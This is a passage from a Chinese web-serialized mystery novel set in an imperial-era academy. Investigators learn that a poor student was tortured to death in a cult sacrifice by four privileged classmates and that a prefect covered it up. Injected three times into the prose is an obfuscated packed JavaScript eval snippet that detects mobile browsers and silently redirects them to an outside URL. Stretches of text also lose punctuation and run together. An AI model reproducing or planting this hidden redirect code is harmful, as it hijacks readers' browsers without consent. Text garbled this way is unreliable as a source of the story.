裴晏道:“校经堂存着所有在院学子入学时的凭证,包括各地府学荐书,官凭户籍记载,我猜测他应是想到了什么线索,也在找凶手。 姜离颔首道:“如此就解释的通了,且此人他一定认识才会随其而去。 “公子,药来了—— 说话的功夫,有武卫送药而来,姜离起身接过,亲自给林牧之喂药,“这断血汤方可凉血祛热,通络保元,若这次药喂下人可醒来,那性命便算保住。 林牧之呼吸微弱,面庞亦是苍白,姜离喂药喂得不易,足足半盏茶功夫,一小碗药才喂进了大半,她停了药,又取出银针于林牧之内关诸穴施针,候得片刻,姜离正下针之时,林牧之喉间发生“嗬嗬之声,又一个轻颤睁开了眼睛。 姜离自是欣然,裴晏也十分惊喜,他快步上前来,“林先生? 林牧之费力地睁眼,待慢慢适应了灯火,又不敢置信地看着裴晏二人,裴晏道:“你还活着,是薛姑娘救了你,你觉得如何? 姜离挽起袖子,掀开锦被往林牧之胸腹与双头轻按,“此处可痛?这里呢?呼吸时可有刺痛之感?唯此处痛极? 姜离一处处检查,林牧之只能小幅度地摇头点头,待查验完,姜离轻松了口气,“幸好不曾伤到心肺,胃脏也应非破裂,林先生,你重伤在左腿的胃脏 处肋骨也应有骨伤但有得救若还有何处痛楚你尽可说来。” 姜离殷殷诉高林牧之这时才相信自己活了下来而他既然醒了如今十万火急之事还是稽查凶手裴晏便道:“可能开口?” 林牧之唇角微动 “你重伤之后我们立刻搜查了书院内外没有找到任何外人进出的踪迹你昨夜分明是回来取钥匙的抽屉都打开了却离开了德音楼你到底见到了何人?” 裴晏语气严厉林牧之唇角抖动两下“我、我……” 他面色痛苦可眼底仍有惊恐与犹豫裴晏凛然道:“事到如今你已经去鬼门关走了一圈却还不肯开口?难道你还想看到死更多人?!昨夜你昏迷之前说你见了‘他’这个‘他’到底是何人?可是书院之人?” 林牧之不知是痛还是怕眼眶迅速泛红见裴晏和姜离一错不错盯着自己他面上浮起了两分绝望与悔痛之色似一番天人交战之后他缓缓看向了后窗方向。 “昨、昨夜我回来取钥匙院中一个人也没有可就在我打开抽屉之时这后窗之外却忽然响起了一道木笛之声——” 裴晏与姜离皆惊裴晏道:“何来的木笛之声?你是说你不曾看到人?那你如何知道是你之故人?” 林牧之转过头来神情痛苦道:“因、因那曲子乃是我多年前多年前修补古曲谱之时在残损曲谱之上自添乐律而成普天之下听过此曲之人少极会此曲之人只、只有那独独一人……” 裴晏紧声问:“是何人?” 林牧之双眼黑洞洞地看向帐顶似乎陷入了一段不愿回想的记忆之中好半晌他喘了口粗气道:“是、是我曾经的学生——” 裴晏与姜离对视一眼又问:“是麟州书院的学生?姓名为何?模样如何?” 不知想到何事林牧之咬紧牙关声音也沉哑下来“他……叫范长佑若他还活着那他今年也已经十八岁了——” “若他还活着你是说他已经死了?”裴晏很是不解“若他已经死了那昨夜你听见的笛声是何人所奏?” 林牧之缓缓摇头“是他……我希望是他……” 林牧之言辞含糊只听得裴晏几人 一头雾水姜离见他说话艰难忙命人再取热汤药来待汤药送至她又给林牧之喂下小半碗林牧之见姜离如此尽心救他性命缓得片刻后终于毫无保留地开了口。 “范长佑是我在麟州书院的学生我当年初到麟州书院被安排教授音律音律非科考之目再加上音律在寻常人家乃是附庸风雅之乐我这音律先生便也未受书院看重不仅如此连学子们都不一定将我放在眼底。” “范长佑是最喜音律课的学生他出身寒门寄宿在麟州叔父家中因叔父救过老山长一回这才得了特许入书院读书他那时只有十三岁身量高挺生得一表人才不仅擅长明算与骈文连学器乐都比旁人快但因出身不好他时而被学子们欺负这一点我知道之后教授音律之时便对他格外照顾他也十分信任我没两月我们便几乎有了师徒之谊……” 林牧之说着轻咳两声喘了口粗气继续道:“他极有天分我除了教他音律还指点他明算与骈文诗赋上的课业他进步神速令其他先生们都十分讶异我很高兴那时我正在修撰一本残损不全的古曲谱有一段谱子我自己添补后勉强成曲于是我便将那段独一无二的曲子送给了他他自小会吹木笛我便用笛子教他勉励他莫因出身而坠青云之志那时我甚至想到了他将来科考高中我再赠一曲的场面。” 林牧之说至此停了下来神色也浮出悲痛来裴晏忍不住道:“那后来呢?他是如何死的?是不是与付怀瑾四人有关?” 林牧之深吸口气泛红的眸子闭了又睁哑声道:“后来……就在景德三十六年腊月下旬他忽然失踪了我找去他叔父家中他做车夫的叔父未见他回去找遍了城中各处书铺茶肆也不见其人再后来他的尸体……在麟州的护城河里被发现当时他已死了几日遗体惨不忍睹……” 姜离听至此处道:“麟州虽地处西南但每年冬日极冷就算死了几日人大概也不会腐烂你说的惨不忍睹是指什么?” 林牧之痛苦的闭上眼睛“他死前受了虐待面上被刻字连眼皮也被洞穿那伤口极深被发现之时身上皮肉惨白仵作说他临死之前被放过血亦或是有人分明看到他失血却无人相救 他上半身还被紧紧绑缚着,细麻绳勒进了他的皮肉之中——” 林牧之语声颤抖起来,眼角泪光闪烁,裴晏扬声道:“是付怀瑾四人虐杀了他?!” 林牧之痛声道:“查不到了,没有查下去,付怀瑾的父亲是州府刺史,报官的人还没到府衙,付宗源便派人出面把此事当做了意外坠河了结,后来尸体被放于义庄,他叔父来收尸之时,尸体未被保存好已经腐烂不堪,看起来……看起来就像是被水冲泡的,后来他叔父收敛了尸体回去,据说要带回老家安葬。” “就这么把遗体带回去了?”姜离忍不住问。 林牧之闭上眸子,“没办法的,据说他父亲常年在外走江湖挣银钱,他母亲则卧病在床多年,就这个叔父见过些世面,但也是身份微贱之人,又能如何呢?书院出面给足了抚恤银两,他叔父便回去了——” 裴晏寒声道:“那你呢?难道你毫不知情?” 林牧之苦涩道:“我……我知道他因才学太过扎眼,受了不少排挤,但我没想到事情会到这一步,那之后书院上下三缄其口,付宗源心知书院内我与他最为亲厚,还亲自来见过我,我心中不甘,却又毫无办法,自觉无颜留在麟州,遂拒了付宗源的示好去往蕲州。” 姜离听得背脊发凉,不仅嘲弄道:“那之后,付怀瑾四人也相继离开了麟州书院,害怕有人追究此人,各自回彬州来长安进学,他们本以为远离了事发之地,却不想彬州与麟州比邻,为范长佑报仇之人还是找了过去,你更没想到那人还会找来长安罢!” 裴晏这时问:“你可知东方嘉树二人之死?” 林牧之摇头,“我起初不知道,但事发之后没多久,得了消息的付怀瑾曾与我提过一句,他暗含警告,我也只能当做不知,我来此是受方青晔之邀,实在不想为他惹麻烦,本以为长安千里之遥,当相安无事的——” 裴晏又问:“范长佑被虐杀之事,你可有线索在手?” 林牧之又摇头,“我……我只是亲眼目睹遗体异样的人证罢了。” 裴晏面上质疑未消,继续问:“那便是说,如今谋害付怀瑾二人的,还有害你的,当是为范长佑报仇之人?可你说你的曲子只送给他一人,当年他当真未曾活下来吗?” “那样的遗体,人不可能 起死回生,但我的曲子的确只送给了他,除了他,我想不出还有谁带着曲子杀我,若是他、若是他倒也罢了,我不配做他的老师…… 林牧之说着哽咽起来,姜离秀眉紧拧道:“他家里还有什么人? 林牧之艰难道:“我只见过他的叔父,又听他自己说母亲常年卧病在床,父亲是跑江湖的手艺人,一年见不上一回,大抵提起家境多有难堪,他数次欲言又止,我也不会深问,便也只知道这些了…… 姜离不禁道:“他没有其他兄弟?他的父亲是哪般手艺人? 书院内学子多为年轻人,而凶手连续谋害三人,能凿石柱能开三石弓,还能将人肢解,实在不像多病体弱之人,那嫌疑便落在其父兄身上了。 林牧之迟疑道:“我记得他的叔父有个儿子,比他大了一岁,但那孩子不擅做文章,是做苦功的,他时常感叹堂兄把读书的机会给了他,二人感情如亲兄弟,但我未曾见过。至于他父亲他并未细说,但他提过笛子是他父亲教他的,我怀疑他父亲是杂戏班子上的乐师之类的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233895|108220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人物…… 走江湖的手艺人,一年见不上一回,还会吹笛,的确像是与杂戏班子有关。 姜离道:“他父亲如今至少也过三十五岁了,那位堂兄则刚满十八,他当年不是寄宿在叔父家中吗?或许你教了他曲子之后他又教给了堂兄? 林牧之涩然道:“或许吧,那半年他没见过他父亲…… 话说至此,窗外已是天色微明,釉蓝的天穹映出灰蒙蒙的晨雾,愈发令屋子里的气氛窒闷沉重,裴晏先吩咐九思:“先带人去后窗竹林里仔细探查,看有无脚印痕迹。 九思应声而去,裴晏又问林牧之,“付宗源知道前后因果,那袁家之人可有参与? 林牧之凄然道:“袁家也是麟州望族,如何会不知?若不知,也不会让袁焱装病来长安念书了—— 裴晏这时问至关键处,“那付宗源可见过他叔父一家? 林牧之眼底闪过厌恶,凉声道:“连我都专门来见,更何况是他家里人呢? 裴晏微微颔首,转身便朝外走,姜离令怀夕留下照看,快步跟了上来,便见裴晏带着十安和几个武卫,出德音楼后直奔听泉轩,他大步流星过走廊,到了付宗源住的厢房之前,对 十安点了点头。 十安转身,抬手,重重拍门—— 突兀的拍门声似惊雷炸响,付宗源屋内传来动静,楼上楼下的厢房内也生出响动。 “是谁如此无礼?! 付宗源在里头喝问一句,下一刻门扉打开,是付氏家仆来开了门。 “裴世子?您这么早怎么来了? 家仆惊讶一句,屋内付宗源披散着头发,披着一件外袍走了出来,裴晏这时大步进门,开门见山问:“付大人,你可见过麟州书院学子范长佑之叔父一家?! 他目光凌厉,字字铮然,付宗源听来只觉耳畔轰然一声,身子都晃了一晃,“你……什么麟州学子?我不知你在说什么! 裴晏剑眸半狭,“你当真不知情? 付宗源挺起背脊,毫不心虚道:“裴世子,我如今是受害者家属,不是你狱中犯人!我说不知便是不知,你非是不信我也没法子,我只知怀瑾凄惨死在书院内,已过了三天了,若还是没个说法,那我便去陛下面前喊冤!! 付宗源一席话掷地有声,显得尤其大义凛然,裴晏死盯他一瞬,面无表情道:“来人,把付宗源给我拿下候审—— 十安几人应声而上,付宗源还未反应过来,双手便被反剪在后,那付家忠仆想上前护主,也被一个武卫拿了住。 付宗源眼瞪如铃,气得话都说不出,“你……你、你,我是陛下亲封的从三品朝廷命官,你便是大理寺少卿、裴国公世子,你无凭无由,也不当如此待我!裴鹤臣,你好大的胆子,待到了陛下跟前我定—— “谁说无凭无由?我大理寺治你个徇私包庇、藐视王法之罪,可有了凭由?裴晏断然反讥,又喝道:“除他革带,带去讲堂听审! 话音落地,付宗源腰间玉带被卸,衣衫不整地被押了出去。 “裴鹤臣!你好生大胆!你竟敢污蔑我堂堂吏部侍郎,你以为陛下能准许你如此妄为吗?裴鹤臣—— 付宗源头发披散,双臂更是剧痛,他被押解而出,边走边骂,这动静不小,立刻惊得上下之人都探出了头,薛琦动作最快,出门见此场面,下巴差点落在地上,忙上来劝道:“鹤……世子啊,这是做什么?这可使不得啊! 裴晏哪里理他,径直出院门往 讲堂而去。 待至讲堂,付宗源已被押站堂中,他恼羞成怒地瞪着裴晏,“裴鹤臣,你不知从何处听来了风言风语,就如此对待我这个从三品侍郎!你大理寺治罪难道就这般毫无证据?!真是岂有此理……薛中丞!柳侯!请你们来评评理,堂堂传道授业之地,到底是谁藐视王法?我分明是受害者亲属,他大理寺怎能如此待我——” 随着付宗源不甘的控诉,堂外陆陆续续来了多人,薛琦几人在前,连方青晔都得了消息赶了过来,他震惊道:“鹤臣!这是怎么回事啊!” 天边已是鱼肚灰白,一片山雾晨曦之中,学舍楼上也传来惊慌议论之声,脚步声纷杂,有更多人围了过来—— 裴晏冷冰冰地盯着付宗源,“你不交代,是要我当着这么多人审你吗?” 付宗源眼皮狂跳,看着门外出现了不少学子,他又是愤怒又是忌惮,嘴唇抖动之间,竟是骂也骂不出,认也难认罪,而就在这堂中相持不下之时,守门的斋夫从外头快步跑了进来,喊道:“院监!袁将军到了——” 此言一出,众人神色微变后也不觉意外,去长安报信之人已经走了一日,按脚程推算,袁兴武也应该到了。 随着众人目光往二门看去,便见一个器宇轩昂的中年男子大步进了门,此人剑眉入鬓,宽肩长臂,威势慑人,正是神策军左营大将军袁兴武,在他身后跟着个二十出头的年轻公子,正是其子袁航。 “袁将军来了——” 柳明程和高从章站在外围,先朝前迎出几步,便见袁兴武快步走过中庭,先对他们拱了拱手,而后一脸疑问地看着这几十人聚在门口的场面,“柳侯,高兄,这是在做什么?” “济苍兄!快来为我做主!” 隔着人群,付宗源痛苦的喊叫从堂内传了出来,门口的人群连忙散开,正露出狼狈不堪的付宗源,众人看看袁兴武,再看看裴晏,皆不知眼下如何收场。 袁兴武愣了愣,抬步进得讲堂来,付宗源见状似找到了靠山,立刻道:“济苍兄,你已经知道了吧?怀瑾和袁焱两个孩子在这书院内被歹人害死了,我是怀瑾的父亲,本该得到安抚,可裴鹤臣他、他不抓歹人,竟用些四五不沾的旧事来治我的罪!便是陛下治我们之罪,都要有个人证物证,可他裴鹤臣却——” 裴晏站在主位,目光冷峻,袁兴武立于门口渐渐听明白过来,未等付宗源说完,他忽地一叹,又哀伤地看向付宗源道:“敏德兄,事到如今,也该让一切真相大白了……” 作者有话要说 我来啦~ 继续求营养液~ 第 158 章 祭祀凶神(一更) 付宗源满以为袁兴武来了,定会为自己做主,却不想袁兴武开口便是此言,他眼瞳陡然大睁,“济苍兄,你……你这是……” 袁兴武不再看他,只扫了一眼门外众人,道:“裴大人,事已至此,你有何疑问尽可问我,便让屋外的学子们散了吧,正好薛中丞他们在,让他们做个见证便是。” 裴晏有些意外,付宗源更不甘道:“袁济苍!你这是做什么!你如此可想过我的处境?!怀瑾已经死了,我——” 袁兴武沉声道:“敏德兄,此事当年便是你处置不当,若非如此怀瑾又怎会殒命?” 付宗源背脊一颤,目瞪口呆地看着袁兴武,裴晏见袁兴武竟愿配合,便也从善如流地令众学子退回学舍之中。 待人散尽,袁兴武看着裴晏道:“裴少卿有何疑问便问吧。” 裴晏道:“麟州书院学子范长佑身亡之事,你可清楚?” 袁兴武定声道:“其实我并不清楚,我只知道景德三十七年初,堂兄忽然来信于我,说袁焱今日病重,退了府学,待病愈之后,便打算将其送来长安进学,我对袁焱向来视如己出,自然满口答应,到了年中,袁焱被堂兄送入长安住在我府上,我易拿亲子相待,直到这时,我才发现不妥,袁焱的确小病了一场,却不足以因这小病退学,我心中奇怪,便问堂兄到底出了何事,堂兄这才告知我,说袁焱与付家那孩子,还有另外两个年轻孩子一起,令他们一位同窗意外而亡了,此事已经由付刺史处置妥当,他们只需换地方求学便可。” 袁兴武神容尚算诚恳,裴晏看一眼付宗源道:“袁将军当真是半年之后才知晓出了事?” 袁兴武应是,又看向付宗源,“敏德,大理寺如今就算人证物证不足,可只要派人南下走一趟,便没有什么不清楚的,如今两个孩子就死在这书院,你知道什么尽数道来罢,死者已逝,两个孩子的仇你也不想报了吗?” 付宗源恼怒至极,憋的眼眶发红,“袁济苍,这些事你堂兄也跑不了!!” 袁兴武面不改色道:“无妨,堂兄并无官职在身,纵然有包庇之罪,我也不会回护,我自知晓袁焱出事,便猜到与当年之事有关,他从前做了错事,如今算是得了报应,但谋害他的人,也不可能跑得了,敏德,你若早些帮着大理寺捉拿 凶手将来到了陛下跟前或许还有为你求情的可能。” 袁兴武是武将说话时声若洪钟格外有种威慑之力付宗源心知事情已经败露见袁兴武毫无相帮之意一双含怒的眸子渐渐晦暗下来“罢了罢了先放开我我还不是你们大理寺的阶下囚——” 裴晏点头示意十安几人利落地退向门口。 付宗源先活动了自己剧痛的双臂又正了正衣襟再将披散的墨发往后一拢作姿作态模样格外有种强行挽尊之感他最终一甩袖站定道:“我知道范长佑此人。” 想起旧事付宗源自己都恼恨不已“他是麟州书院的学生还是书院特许进来的贫家子弟本不算什么可那一年他几门课业长进极大一时在书院内声名鹊起彼时……彼时怀瑾和袁焱本为书院翘楚心中自是不满当年他们一个十三一个十四家里宠纵惯了多有孩子心性再加上那东方嘉树与魏青杨两个纨绔子弟在旁挑唆景德三十六年腊月二十二这四人便、便走了歪路……” 付宗源默了默道:“麟州地方上曾奉过一个名为梼杌的凶神此凶神本为上古凶兽体格似虎毛类犬脸似人口生獠牙尾长丈八尺极是凶狠能斗不退本为百姓所忌后来不知怎么在麟州坊间有了信徒其信徒还编了教义其中一出教义乃是种献祭之法 裴晏剑眉大皱“可是邪教?!” 付宗源涩然道:“算是吧本来我前一任刺史任职期间这凶神已被明令禁止供奉可当时这四个孩子不知从何得了那些歪门邪道于是……他们将范长佑绑了起来用那教义上的法子将其献祭给凶神了——” 门外众人听得倒吸凉气裴晏定声问:“用了什么法子?” 付宗源深吸口气似连他都难以启齿“将人绑缚在凶神前在其面上刻写教义欲取何处便献祭何处他们……不知是谁刺瞎了范长佑的眼睛那魏青杨身高五尺羡范长佑身量便碎裂其双腿就这样将范长佑生生折磨而亡。” 屋外又是一阵轻呼便是活了大半辈子的薛琦都觉不寒而栗忍不住道:“都是同龄之人那么一个大活人他们怎么下得去手的?!” 付宗源惨戚戚道:“我也不知我为官 多年从来谨慎,就这么一个亲儿子,哪里想到他会做出这等伤天害理之事?彼时我谋求调任,自不敢将此事昭告天下,又想保护儿子,便……动用府衙之力将此事遮掩了下来。 裴晏目若悬剑,凛然道:“你包庇徇私之罪稍后再论,那之后你可曾见过范长佑的家人? 付宗源心知大势已去,道:“自然见过,范长佑的尸体被敛在了义庄之中,前来敛尸的是他的叔父和堂兄,我给了二人五百两银子,他们便把范长佑的尸体带回了老家安葬,自那以后,再未在麟州城见到他们,之后我又寻来另外三人父母将此事说明,这才有了四人相继离开麟州书院之事,他们也不愿孩子成为杀人凶手,对我自然只有感激的。 他说着长叹一声,面上尽是一副哀莫大于心死之状,“我本以为此事已经了了,直到一年多前,我听闻魏青杨二人死在了彬州,当时我便心生不祥之感,还派人去彬州走过一趟,但彬州府衙几月都未找到凶手,我也没了法子,后来我想着彬州近,而长安千里之遥,他们不可能找过来的…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233896|108220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “他的叔父和堂兄,倘若如今再见,你可认得出来? 裴晏话音落下,付宗源道:“他叔父我认得,但他那堂兄当年寒冬岁末,面上裹着寒巾,我只依稀记得一双黑亮的眼睛,面容已忘了。 “你可曾在这书院之中看到眼熟之人? 付宗源沉沉摇头,“不曾看到,若看到—— 他说至此话语一顿,面上尚有咬牙切齿之意,裴晏便又道:“那你此前找来名册和书院学子的课业,是为何? “找来名册,是看看有没有从麟州来的人,找来课业,是看看有没有眼熟的字迹,当年收敛尸体之时,因他叔父不擅笔墨,是他堂兄画押签字,他堂兄的字迹十分工整,我还有几分印象,但我已经看了一遍没有找到类似的笔迹…… 裴晏忙道:“你当真确定?! 付宗源惨笑道:“难道我还会与裴少卿玩笑?我所知道我都说尽了,没错,我当年是包庇了怀瑾,但……但我也尽力抚恤范家了,五百两银子不少,他叔父父子是接下的,他们若要偿命,何来收了银子?如今……如今若是为了范长佑害死了四条人命,那他们也应该处以极刑,在凶手抓到之前,我不会回长安认罪! ” 裴晏失望地看着付宗源,“你身为一方父母官,你给的银两他们若是不要,你待如何?” 付宗源一时语塞,裴晏道:“把他带下去看管起来!” 付宗源被带走,裴晏又看向袁兴武,“袁将军后来知道了多少内情?” 袁兴武坦然道:“我只知有个孩子因袁焱几个出了意外,并不知什么凶神献祭,若是知道,我怎会把袁焱这等祸端留在长安?当时堂兄送来的书信我仍保留着,这些皆是证据。但后来我听说彬州那两个孩子相继被害,曾怀疑当年麟州之事他们有所隐瞒,可再问时,堂兄和袁焱皆无可奉告,军中事务繁忙,我便未把此事当一回事,如今堂兄人已回了麟州,大理寺稍后去麟州追查时堂兄必定配合。” 裴晏打量他片刻,“也好,袁将军深明大义,那如今还是以书院命案为重。” 袁兴武一默,“袁焱尸首在何处?” 裴晏看向内堂,“九思,你带他们去。” 九思应声带路,方青晔也上前来作陪,无论如何袁焱死在书院,他们也脱不了干系,很快,后堂内传来袁航的悲呼之声—— 这时,门外挤来一道身影,却是宁珏起身赶了过来,他火急火燎的,身边正跟着张穗儿,一进门便道:“师兄,那范长佑是因为邪教祭祀而死?!” 作者有话要说 一更~ 下午应该有二更。 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 第 159 章 并未焚尸(二更) 第159章并未焚尸(二更) 长安发现无量道之事虽未大肆宣扬,但此前拱卫司频频异动,宁珏如今又已是拱卫司中人,他这一问,便显得不同寻常。 保险起见,裴晏先劝回众人,姜离也往文华阁看孔昱升而去。 宁珏看着姜离离去的背影,再看向裴晏,无奈道:“怎么你们二人离开时无一人喊我?适才这么大场面我竟没见着,幸好穗儿机灵告知于我,师兄,真是什么祭祀杀人?” 裴晏看向后堂道:“范长佑死状惨烈,应是有异,但到底是凶神还是邪教,只有派人去麟州走一趟之后才知道。” 宁珏纳闷道:“怎么老有妖邪作祟,长安城的线索也断了……” 裴晏闻言,不由拧眉道:“你既有差事在身,何故在山上停留,今日便回去吧。” 宁珏丝毫没有回去的打算,“那可不行,如今命案未破,就这么走了必定抓心挠肝,更何况还牵扯出了什么祭祀旧案——” 话音刚落,袁兴武和袁航从后堂走了出来,袁航红着眼眶,袁兴武也是一脸沉痛,“去报信的人已经说了这两日的事,既然裴少卿在此,想来不会全无所获,如今查到了何处,可能告知于我们?” 裴晏颔首请袁兴武二人落座,“自然——” 他将发现机关的前后因果道来,又说:“那机关虽十分简单,却得心思机巧之人才能想得出,又因机关搅乱了凶手不在场证明,眼下尚难锁定目标。但如今清楚了麟州旧事,东方嘉树二人之死和袁焱之死,与当初范长佑被折磨之法各有相似之处,基本断定凶手的杀人动机乃是为范长佑复仇,袁将军这边可听袁焱说过些什么?” 袁兴武沉声道:“我常年在军中,府里的事我管的不多,袁焱非我亲子,对我也敬多过亲,他知道我对他期望极大,这些事他不会告诉我。” 裴晏看向袁航,袁航则是一副心有余悸的模样,“袁焱和付怀瑾最为亲厚,我也不知他们从前还干过这些伤天害理之事,他又今天也算是……哎,按适才付侍郎所言,范长佑有个叔父和堂兄,凶手会不会是他们父子?” 裴晏道:“如今书院中还有位在林中书院教学过的林先生,他提到范长佑母亲卧病在床多年, 其父亲乃是江湖手艺人,但无人见过其父母。 袁兴武便道:“那凶手还有可能是他父亲?既是如此,排查书院内与他父亲、叔父、还有堂兄年纪相仿之人是否能找到线索? 裴晏颔首:“眼下确有此意——- 姜离带着怀夕至文华阁,先给方伯樘请脉,事到如今,方伯樘已知道了放火杀人未遂与假山杀人未遂之事,得知姜离救了二人,对姜离感激不已。 待从上房出来,陪同的张伯也叹道:“薛姑娘此番可谓是救我书院于水火了,付怀瑾和袁焱之死,我们脱不了责任,若林先生和孔昱升也在书院丧命,那我们老太爷这把老骨头真是不够赎罪了—— 姜离谦逊两句,待到了张伯的西厢,一进门便见孔昱升头脸被包着,身上也有数处包扎,此刻躺在西窗榻上,身上锦被盖得严严实实。 张伯又道:“何叔守到天亮,我让他去歇下了,昨天晚上喂了两次药,就等着今天换药了,但人还是没醒,不知是怎么了。 姜离一边请脉一边道:“吸入浓烟过多热毒入心入脑,人便会昏迷不醒,如今除了用药施针暂也无更好的法子,若是脑袋受损太过,甚至会一直不醒。 张伯闻言忙道:“会伤脑袋? 见姜离点头,张伯遗憾道:“天啊,老天保佑,这孩子家境普通,禀赋却极好,尤其是骈文策论之道更是首屈一指,不瞒姑娘,此番春试考过,这孔昱升必占前二之位,到时候老太爷要带着他一起给陛下修书的,几位夫子私下里还说,今岁若入科场,来年翰林院一定会有孔昱升一席之地,若此番伤了智识,那便太可惜了。 姜离请完脉,迷惑道:“他家境普通?我怎么看他独住一间学舍,银钱上应该十分宽裕才是? 张伯纳闷道:“我也不明白,但两年半之前他来书院时,家里是交不起足额束脩的,老太爷当时看过他的文章,立刻免了部分,还把每年的膏火奖励分他一份,如此倒也顺利进学了,但也没过太久,他家里似乎好起来了,去岁学舍空出来时,他也要了独住的一间,说如此才能专注习文。 姜离心底泛起两分古怪,又问:“那此番起火,您老人家可有猜度? 张伯略一犹豫,“这可不敢乱说,虽说,同窗之间偶有嫉妒, 但不会有人因此而生杀心我们书院和别处不同老太爷重修身养性平日里便不许他们有比斗之心应该不会是因为那修书名额吧……” 话虽如此张伯自己也有些心虚毕竟麟州书院的前车之鉴就在眼前他也不敢把话说死姜离见他惶恐也不再多问只给孔昱升施针先取人中、十宣、百汇、涌泉、太椎、内关等穴位针灸又对人中行雀啄刺法后于十宣穴点刺放血再等了半炷香功夫正要取针之时裴晏和宁珏赶了过来。 裴晏进门问:“他如何了?” 姜离神色微凝道:“脉象看起来并不凶险但人还是未醒怀疑是热毒伤脑我适才已施针稍后换清热豁痰、通腑熄风的方子看下午是否会醒。” 宁珏无奈道:“昨夜看起来人没大事怎么反而是他醒不了?” 此言一出裴晏和姜离不禁对视一眼很快裴晏叫来九思低低吩咐两句待九思转身而去宁珏瞅着裴晏道:“师兄有什么安排?又要避讳我们?” 这“又”字便是在说昨夜了裴晏眼风掠他一眼道:“这场火起的古怪也不知书院内有多少人不希望他醒来——” 宁珏恍然忙道:“那自然是放火之人最不希望他醒来!” 话音刚落十安自院外而来“公子后面的竹林里发现了脚印——”- 文华阁、德音楼与听泉轩都算是临着君子湖但唯独德音楼之后并无廊道供行人通行其楼后紫竹遍植距离水边只有丈余之地裴晏几人赶到时发现脚印之地都被武卫们做了标记。 十安近前指着几处标记道:“一共发现了三处脚印但都不全我们将其拓印下来勉强凑成了一个六七寸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296806|108220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左右的鞋印但这鞋印并无花纹就是寻常的布靴按这个脚长来推算昨夜在此吹笛之人身应该在五尺上下——” 裴晏听得剑眉紧皱宁珏道:“五尺上下的学子和杂役们可都不少昨夜太过混乱不论白日还是晚上都有那么多人没有人证这如何排查?” 裴晏这时道:“按林牧之和付宗源的说法如今重点把目标放在年岁三十至四十的杂役和十八岁上下的学子身上先召集所有人来比对脚印再缩小范围查人证。” 裴晏一声令下 ,姜离走的慢了两步,一边看一边回忆昨夜的情形,“昨天晚上藏书楼起火之后,最先赶到的是我们,后来陆陆续续来了多人,德音楼的先生们反而来的更晚,当时林先生来之后,刚站了片刻你便提到了钥匙,而后林先生立刻返回德音楼,这中间不过百步距离,凶手不可能提前在后窗之外等着。” 裴晏反应疾快,“你是说,凶手当时也在藏书楼之外?” 姜离颔首,“他一定目睹了林先生因何返回德音楼,见时机不可错过,立刻决定去窗外以笛声引诱,后林先生上当,果然跟了过去,这湖畔的廊道夜里并无灯火,他杀了人再混入救火的人群之中,可谓是神不知鬼不觉了。” 宁珏听明白了,但如此越发找不到破绽,“那岂不是更难发现了?” 裴晏摇头,“不,昨夜所有人分了两拨打水,一边在北面得真楼,一边在厨房这侧,林牧之受伤在假山处,凶手为了躲人只能混在来往厨房这侧的人群之中!再排除脚印等线索,那剩下的可疑目标便不多了。” 宁珏便道:“那便是说,凶手要么当时在林先生不远处,要么刚来藏书楼之外,总之他一定听到了你们的对话,甚至跟着林先生一同离开,彼时那假山石柱已被凿断,凶手只要布一处暗绳,在林先生走到假山之下时一拉,林先生便无处可藏,我见过木工拆那些摇摇欲坠的危楼,就是卸掉柱子用绳子拉——” 宁珏话虽密,可他心思机敏,确能想到些旁人难想之处。 裴晏心中有数,“这就去核查。” 昨夜场面太过混乱,书院百多人都曾出现在藏书楼外,哪怕如今方向分明,要确定所有人的证供,还是得费不少心力,裴晏快步而去,宁珏犹豫一瞬也跟了上去,姜离出竹林上廊道,又脚步一转往假山处走去。 案发现场有武卫守着,见她来了也不拦阻,姜离在乱石旁看了看,又回身往厨房院去,清晨时分,厨房内正在忙碌,纵然命案当前,书院上下百多口人却不可能不用膳,武卫们也明白此理,并未在此时过来问证。 水井在厨房前院,昨夜众人救火匆匆往来,井台旁留下了大片泥渍与灰烬,姜离正看着那片泥渍,一抬头,却见龚嫂正弯着身子在灶前添柴火,她手劲儿极大,利落地将柴火折断投入灶膛之中。 姜离看着那红彤彤的火苗,忽然皱眉道:“当年范长佑身亡之后并未被焚尸,此番凶手为何费力地分尸焚尸呢?” 作者有话要说 二更来啦~前面还有一更记得看昂~ 继续求营养液~~ 第 160 章 中毒死鼠 第160章中毒死鼠 姜离回到大讲堂之时,裴晏正在看九思汇总的名册,见她神色匆匆回来,他迎上来道:“怎么了?” 姜离直奔后堂,“去看看付怀瑾的骸骨。” 